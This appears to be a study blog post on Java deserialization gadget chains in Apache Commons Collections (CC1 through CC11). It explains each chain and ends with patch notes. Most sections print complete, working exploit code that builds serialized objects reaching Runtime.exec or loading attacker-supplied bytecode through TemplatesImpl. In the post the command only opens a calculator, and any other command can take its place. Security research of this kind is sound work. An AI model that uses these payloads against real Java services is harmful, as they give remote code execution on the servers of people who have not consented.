Commons-Collections-Exploit Introduction “Apache Commons” is a project of the Apache Software Foundation and it is also a popular program to study Java Deserialization Vulnerabilities.
Let’s talk about some classical CC gadget chains to have a general understanding in this kind of vulnerabilities.
CC1(Lazy Map) ENV
JDK8u65
Commons-collections 3.2.1
Gadget Chain In InvokerTransformer#transform
, there exists a dangerous code block, which might execute any command by the reflection.
Then, let’s find out which methods can trigger it.
In ChainedTransformer#transform
, we can call the method successively so that we can execute a serious of commands. Besides, this class can release our coding trouble as we needn’t to new a InvokerTransformer class one by another and call its transform method.
It’s an easy class, we can use this class as the first element in the ChainedTransformer so that we can ignore the argument in ChainedTransformer#transforms
Till now, we have a demo to RCE.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null } ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null } ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a calculator" } ) }; Transformer chainedTransformer = ChainedTransformer.getInstance(transformers); chainedTransformer.transform(1 );
But how to exploit it from the java deserialize function: readobject()
LazyMap In Lazymap#get
, we can control the variable factory
and call the transformer. Thanks to the ConstantTransformer
, we needn’t to control the variable key
.
AnnotationInvocationHandler That’s the last puzzle to solve our question.
In AnnotationInvocationHandler#invoke
, we have an available code block:Object result = memberValues.get(member);
and the variable memberValues
is controllable.
1 2 3 4 5 6 7 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); .... Object result = memberValues.get(member); ..... }
Besides, in this class’s readObject function, the memberValues.entrySet()
is called.
That means, if we set the memberValues
as a DYNAMIC PROXY CLASS, it will call memberValues.invoke()
, and the full chain has been constructed.
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null } ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null } ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a calculator" } ) }; Transformer chainedTransformer = ChainedTransformer.getInstance(transformers); Map mp = LazyMap.decorate(new HashMap <Object, Object>(), chainedTransformer); Class C = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = C.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, mp); Map proxyMap = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; }
PATCH In jdk8u71, AnnotationInvocationHandler
will use readFields
to get the specific property, not the defaultReadObject
way.
Env
JDK8u65
Commons-collections 3.2.1
Gadget Chain Like the chain constructed by LazyMap, we can find another way to call the transform()
method.
In AbstractInputCheckedMapDecorator$MapEntry#setValue
, we can call the method checkSetValue
. Following the comments, we can notice that this subclass is a implementation of a map entry.
That means, if we let a element traverse the map.entry()
and that map inherits from AbstractInputCheckedMapDecorator
(e.g. TransformedMap), and this element call a setValue
, then we can call into this setValue
Like this
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null } ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null } ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a calculator" } ) }; Transformer chainedTransformer = ChainedTransformer.getInstance(transformers);HashMap<Object, Object> hashMap = new HashMap <Object, Object>(); hashMap.put("1" , "1" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(1 ); }
AnnotationInvocationHandler Last question, where to trigger the setValue
?
Same as the previous chain, we use AnnotationInvocationHandler
. Its readobject
function can meet our requirements very well.
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null } ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null } ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a calculator" } ) }; Transformer chainedTransformer = ChainedTransformer.getInstance(transformers); HashMap<Object, Object> hashMap = new HashMap <Object, Object>(); hashMap.put("value" , "1" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class C = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = C.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transformedMap); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; }
PATCH In jdk8u71, there is no way to call setValue
CC6 ENV
JDK8
Commons-collections 3.2.1
Gadget Chain TiedMapEntry Just like the CC1, but this time, we call TiedMapEntry#getValue
to trigger the LazyMap#get
Besides, TiedMapEntry#hashCode
call the getValue
HashMap In HashMap#readObject
, we call the hash(key)
, which will use the key.hashcode()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public static void main (String[] argc) throws Exception{ Transformer transformer = ChainedTransformer.getInstance( new Transformer []{ ConstantTransformer.getInstance( Runtime.class ), InvokerTransformer.getInstance( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null } ), InvokerTransformer.getInstance( "invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null } ), InvokerTransformer.getInstance( "exec" , new Class []{String.class}, new Object []{"open -a calculator" } ), ConstantTransformer.getInstance(123 ) } ); Map expMap = LazyMap.decorate(new HashMap <Object, Object>(), transformer); Map tmpMap = LazyMap.decorate(new HashMap <Object, Object>(), new ConstantTransformer ("1" )); TiedMapEntry map = new TiedMapEntry (tmpMap, "exp" ); HashMap<Object, Object> hashMap = new HashMap <Object, Object>(); hashMap.put(map, 1 ); Class C = TiedMapEntry.class; Field field = C.getDeclaredField("map" ); field.setAccessible(true ); field.set(map, expMap); serialize(hashMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; }
I think its more practical than CC1
CC3 ENV
JDK8u65
Commons-collections 3.2.1
Gadget Chain TemplatesImpl This time, we use a new sink point to execute the malicious code.
In TemplatesImpl#defineTransletClasses
, we can load a class by its bytecode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void defineTransletClasses () throws TransformerConfigurationException { ... try { ... for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } ... } ... }
and there exists a chain in the internal of TemplatesImpl.
1 newTransformer()->getTransletInstance()->defineTransletClasses()
TrAXFilter In its contruct function, we can call templates.newTransformer()
In InstantiateTransformer#transform
, we can new a instance of our specific class.
Then, we just need to concat it to our CC1 to RCE
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class c = TemplatesImpl.class; Field field; field = c.getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates, "exp" ); field = c.getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates, new byte [][]{Files.readAllBytes(Paths.get("calc.class" ))}); field = c.getDeclaredField("_tfactory" ); field.setAccessible(true ); field.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); ChainedTransformer chainedTransformer = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer } ); Map mp = LazyMap.decorate(new HashMap <Object, Object>(), chainedTransformer); Class C = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = C.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, mp); Map proxyMap = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; }
CC2&&CC4 ENV
JDK8
Commons-Collections 4.0
Gadget Chain CC2 & CC4 just use a new way to call the transform()
.
Actually, in the CC gadget chain, just some different path from Serializable#readObject()
to Transformer#transform()
This time, we will use TransformingComparator#compare
to call the transform
PriorityQueue In PriorityQueue#siftDownUsingComparator
we will call the compare
method.
And there exists a gadget chain from PriorityQueue#readObject
to PriorityQueue#siftDownUsingComparator
1 readobject()->heapify()->siftDown()->siftDownUsingComparator()
EXP(CC2) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public static void main (String[] argc) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class c = TemplatesImpl.class; Field field; field = c.getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates, "exp" ); field = c.getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates, new byte [][]{Files.readAllBytes(Paths.get("calc.class" ))}); field = c.getDeclaredField("_tfactory" ); field.setAccessible(true ); field.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); TransformingComparator comparator = new TransformingComparator <>(instantiateTransformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(1 ); field = queue.getClass().getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue, comparator); field = queue.getClass().getDeclaredField("queue" ); field.setAccessible(true ); Object[] tmp = new Object []{TrAXFilter.class, TrAXFilter.class}; field.set(queue, tmp); serialize(queue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; }
PATCH In 4.1 and 3.2.2, commons collections add a new method FunctorUtils#checkUnsafeSerialization
to check whether the Deserialization is safe. If we unserialize some dangerous class(like Transformer), it will throw an exception.
Besides, in 4.1, the dangerous Transformer class will not implement Serializable any more.
CC5 ENV
JDK8
commons-collections-3.2.1
Gadget Chain TiedMapEntry Same as CC6, we will use this class to trigger LazyMap#get
, but this time, will use TiedMapEntry#toString
BadAttributeValueExpException In BadAttributeValueExpException#readObject
, there exists a call to toString
So a new chain has been constructed.
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public static void main (String argc[]) throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a calculator" }) } ); Map map = LazyMap.decorate(new HashMap <Object, Object>(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (map, 1 ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field field = BadAttributeValueExpException.class.getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException, tiedMapEntry); serialize(badAttributeValueExpException); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; }
CC7 ENV
JDK8
commons-collections-3.2.1
Gadget Chain Hashtable && AbstractMapDecorator It’s also a easy chain. I will just give the method name this time.
1 2 3 4 HashTable.readObject() ->HashTable.reconstitutionPut() ->AbstractMapDecorator.equals() ->LazyMap.get()
EXP In fact, it has a lot of details to weave the EXP…
But I don’t think they are important…
CC11 ENV
JDK8
commons-collections-3.2.1
Gadget Chain 1 2 3 4 5 HashMap.readobject() ->TiedMapEntry.hashcode() ->LazyMap.get() ->InvokerTransformer.transform() ->TemplatesImpl.newTransformer()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public class main { public static void main (String[] argc) throws Exception { Field field; TemplatesImpl templates = new TemplatesImpl (); byte [] evil = Files.readAllBytes(Paths.get("calc.class" )); field = TemplatesImpl.class.getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates, "P3ngu1nW" ); field = TemplatesImpl.class.getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates, new byte [][]{evil}); field = TemplatesImpl.class.getDeclaredField("_tfactory" ); field.setAccessible(true ); field.set(templates, new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); Map lazyMap = LazyMap.decorate(new HashMap <Object, Object>(), transformer); Map tmp = new HashMap <>(); TiedMapEntry tiedMapEntry = new TiedMapEntry (tmp, templates); HashMap<Object, Object>hashMap = new HashMap <Object, Object>(); hashMap.put(tiedMapEntry, 1 ); field = TiedMapEntry.class.getDeclaredField("map" ); field.setAccessible(true ); field.set(tiedMapEntry, lazyMap); serialize(hashMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }